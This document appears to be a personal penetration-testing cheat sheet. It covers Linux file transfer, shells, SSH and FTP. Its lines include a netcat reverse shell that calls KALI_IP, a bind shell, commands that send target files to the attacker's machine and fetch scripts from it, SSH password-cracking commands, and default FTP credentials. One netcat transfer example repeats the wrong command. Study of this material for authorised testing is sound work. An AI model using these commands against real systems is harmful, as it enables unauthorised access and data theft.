Description
File Transfer (Linux)
- Netcat
From target to my machine
In my machine:nc -nvlp 8082 > backupIn the target:
nc [ip my machine] 8082 < /usr/local/bin/backupFrom my machine to target
In the target:nc -nvlp 8082 > backupIn my machine:
nc [ip my machine] 8082 < /usr/local/bin/backup - Wget
From my machine to target
In my machine:python3 -m http.server portIn the target:
wget http://my_ip:port/test.py - Curl
From my machine to target
In my machine:python3 -m http.server portIn the target:
curl http://my_ip:port/test.py -o test.py - Base64
From my machine to target
In my machine:cat ‘file.zip' | base64In the target:
cat base64.txt | base64 -d > file.zipShells
- Reverse Shell
Basic Reverse Shell
Start listener on Kalinc -lvnp 9000Send reverse shell from victim back to Kali
nc KALI_IP 9000 -e /bin/sh - Bind Shell
Basic Bind Shell
Start bind shell on victim machinenc -lvnp 9000 -e /bin/shConnect to bind shell from Kali
nc -nv VICTIM_IP 9000 - Web Shell
Depend on:
Language
Server
On Kali:/usr/share/webshellsNetwork Services
SSH (Secure Shell)
- Basic Usage (login)
ssh username@10.10.10.10 - Generating a Key Pair
ssh-keygen - Key-based Login
ssh -i keyfile username@10.10.10.10path to private key file
/home/username/.ssh/id_rsa path to public key file
/home/username/.ssh/id_rsa.pub /home/username/.ssh/authorized_keys - Password Cracking
crackmapexec ssh 10.10.10.10 -u small_user.txt -p pass.txt medusa -h 10.10.10.10 -U small_user.txt -P pass.txt -M ssh hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 sshFTP (File Transfer Protocol)
- Basic Usage (login)
ftp 10.10.10.10 - Commands
ftp> ls ftp> cd foldername ftp> get filename ftp> put filename - Using Binary Mode to Avoid Uploading Corrupted Files
ftp> binary - Default Credentials
Username: Anonymous
Password: ftp
—